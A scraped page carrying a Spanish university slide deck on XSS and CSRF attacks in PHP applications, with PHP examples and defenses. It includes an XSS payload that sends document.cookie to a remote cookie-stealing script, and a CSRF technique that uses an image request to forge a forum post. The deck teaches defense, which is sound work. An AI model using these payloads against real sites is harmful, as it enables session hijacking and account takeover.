Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet.

Slides:



Advertisements
Presentaciones similares
Presentación – Web Attack
Advertisements

1 | Web Attacks Documentación – Web Attack. 2 | Web Attacks Seguridad en Aplicaciones Web Protocolo HTTP Vulnerabilidad XSS Vulnerabilidad CSRF Path Traversal.
1 | Web Attacks Documentación – Web Attack. 2 | Web Attacks Seguridad en Aplicaciones Web Protocolo HTTP Vulnerabilidad XSS Vulnerabilidad CSRF Path Traversal.
El mecanismo básico de interacción entre el usuario y un sitio web esta dado por el uso de formularios html. El server envía un formulario que el browser.
CI-2413 Desarrollo de Aplicaciones para Internet
CI-2413 Desarrollo de Aplicaciones para Internet
CGI I La mayor parte de los elementos HTML de que disponemos permite al visitante visualizar los contenidos de un sitio, pero no interactuar con él. Dicho.
ADMINISTRACION DE REDES SECUENCIA DE COMANDOS EN SITIOS CRUZADOS(XSS)
Errores comunes al desarrollar websites
Ing. Lorena Ruhl - Marco Rapallini - Javier FabiánMódulo 4: Seguridad y Aplicaciones Web Ing. A. Lorena Ruhl Universidad Tecnológica.
YII (Yes It Is!) – Php Framework
El mecanismo básico de interacción entre el usuario y un sitio web esta dado por el uso de formularios html. El server envía un formulario que el browser.
Desarrollo de sitios web con PHP y MySQL Tema 7: Seguridad José Mariano González Romano
de Hacking a un eCommerce
Taller 5: Trabajo con Plantillas y uso de tecnología Ajax.
Hugo García G. Julio SISTAM Ingeniería / Av. 11 de Septiembre 2214 Depto. 41 / Fono: (56-2) /
ADMINISTRACION DE REDES SECUNECIA DE COMANDOS EN SITIOS CRUZADOS(XSS) DIEGO ALEXANDER MADRID DUQUE GABRIEL ANDRES AGUIRRE JARAMILLO INSTITUTO TECNOLOGICO.
WEB VULNERABLE DVWA Universidad de Almería
The OWASP Foundation OWASP AppSec Aguascalientes 2010 Guía de Desarrollo Seguro Francisco Aldrete Miembro de OWASP capítulo Aguascalientes.
PHP TODO SOBRE PHP.
WAF Web Application Firewalls
XSS CROSS SITE SCRIPTING Es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte.
Formularios La mayor parte de los elementos HTML de que disponemos permite al visitante visualizar los contenidos de un sitio, pero no interactuar con.
Validaciones de datos en PHP Programación en Internet II.
Secuencia de Comandos en Sitios Cruzados XSS
HTTP Session Management Desarrollo de Aplicaciones para Internet.
Manual PHP Básico Camilo Cartagena.
Hackear un Sitio Web. Claudio
Integrantes: Giomara Delgado Miranda Miguel Villao Figueroa Juan Quiroz Asencio.
Administración de Sitios Web Introducción al Lenguaje PHP
OWASP APPSEC RIO DE LA PLATA dcotelo13
Php y mysql índice 1. Conexión 6. Ejercicio 5. Insertar un registro 2. Operaciones básicas 3. Seleccionar BD 4. Crear una BD P h p y m y s q l Índice 1.
Introducción Principios de Programación Web Aplicaciones Web con JSP y Servlets de Java.
Curso PHP y MySQL Germán Galeano y Juan Bachiller Del 6 de Febrero al 12 de Marzo de 2012.
Modalidad de estafa caracterizada por suplantar la identidad con el fin de apropiarse de datos confidenciales de los usuarios Phishing se trata de un.
AppServ Implantación de Aplicaciones Web. Conceptos previos LAMP = Linux (SO) + Apache (Servidor Web) + MySQL (BBDD) + PHP (Web dinámicas). WAMP = Windows.
PHP Implantación de aplicaciones Web. Arquitectura web en PHP.
CardSpace. Índice Comprendiendo la identidad digital Comprendiendo la identidad digital Describiendo la identidad digital Describiendo la identidad digital.
COMUNICACIÓN Y TIC Ángela Espinosa Hayler Peñaranda.
Capítulo 3 Drag and Drop, arrastrar y soltar
“Seguridad en Aplicaciones Web”
Proyecto: Aplicación Web
Tips de Seguridad en línea
Capítulo 14 AJAX y la librería jQuery
LOS DIFERENTES LENGUAJES DE PROGRAMACION PARA LA WEB
¡Haz un uso responsable de ellas!
TALLER DE LABORATORIOS REMOTOS
UNIDAD I: INTRODUCCIÓN AL DISEÑO WEB.
Enviando datos hacia el servidor
Capítulo 4 La API File para manejar archivos
Capa Aplicación: File Transfer Protocol
APLICACIONES DE INTERNET COMO FUENTES DE INFORMACIÓN (WEBS Y FTP).
Seguridad de aplicaciones web
Páginas web con wordpress
LENGUAJE DE SCRIPTING EN SERVIDORES WEB INTEGRANTES :JOSTIN FRANCO DARYENIS ARAUZ PABLO CANDANEDO.
SEGURIDAD DE SITIOS WEB.
Las aplicaciones que permiten crear “libros electrónicos educativos”.
Eslared 2006 Seguridad Informática
HTML5 es la nueva versión del lenguaje de marcado que se usa para estructurar páginas web, que actualmente todavía sigue en su evolución, gracias a él.
Entendiendo PHP En diseño de software en el Front-end es la parte del software que interactúa con los usuarios. Es la persona que se encarga del diseño.
Planificación Curso UNIDAD 1. INTRODUCCIÓN A LOS SERVICIOS EN RED
INFORMATICA. Vamos a hablar de...HTML Conceptos del lenguaje Estructura para documentos Herramientas usadas para crear documentos Buenas prácticas.
Lenguajes del lado del cliente
Aspectos de Seguridad en paginas Web
Capa Aplicación: File Transfer Protocol
DESARROLLO DE APLICACIONES WEB INSTRUCTOR: HEMERSON VILLACORTA MANIHUARI.
Soluciones para el Internet
JOSE NICOLAS ZAIRA SOFIA C. TORRES BRENDA GONZALEZ
METODOS. Es una funcionalidad que alguien mas escribió para que podamos utilizar como parte de nuestras aplicaciones DEFINICION.
Introducción a la Programación. Modulo 61 Programación Web Programación Web.
Transcripción de la presentación:

Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet

Seguridad Podremos hablar de aplicaciones web seguras y inseguras. Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. Sobre esta base se pueden considerar las aplicaciones web como inseguras. Se verá protección contra dos tipos de ataques.

Cross-Site Scripting (XSS) El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos. La recomendación general es desconfiar siempre de los datos del visitante. Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V.G.: correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante,...

Ejemplo de XSS Considere el siguiente formulario: Nombre de usuario:

Ejemplo de XSS Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { $_POST['reg_usuario'] = addslashes($_POST['reg_usuario']); $_POST['reg_ '] = addslashes($_POST['reg_ ']); } $sql = "insert into users (username, ) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_ ']}')";

Ejemplo de XSS Imagine el siguiente nombre de usuario: alert('¡Oh no!'); Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente. Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.

Ejemplo de XSS Despligue por un administrador: Usuario <?php if ($_SESSION['admin']) { $sql = 'select username, from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "\t \n"; echo "\t\t {$user['username']} \n"; echo "\t\t {$user[' ']} \n"; echo "\t \n"; } ?>

Ejemplo de XSS En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.

Ejemplo de XSS El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: document.location = ' + document.cookie En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.

Protegerse contra XSS Filtrar todos los datos foráneos. Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf8_decode(), etc. pueden ayudar a escribir la lógica de filtrado. Solamente autorizar un contenido validado. Utilizar una convención de nombres descriptiva. Ser creativo.

Cross-Site Request Forgeries (CSRF) Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios. CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.

Ejemplo de CSRF Considere un foro hipotético en que utiliza el siguiente formulario: Asunto: Mensaje:

Ejemplo de CSRF Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1 HOST: foro.ejemplo.org Cookie: PHPSESSID=

Ejemplo de CSRF Considere la etiqueta siguiente: Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.

Protegerse contra CSRF Utilizar el método POST en los formularios. Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals. No simplificar las acciones importantes. Obligar al usuario a utilizar nuestros formularios HTML.

Protegerse contra CSRF Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente: <?php $token = md5(time()); $_SESSION['token'] = $token; $_SESSION['token_timestamp'] = time(); ?> " /> Asunto: Mensaje:

Lecturas adicionales PHP Under Attaque: presentación sobre XSS y CSRF – XSS – – – CSRF –

Proyecto de seguridad XSS: –HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP antes de ser utilizados.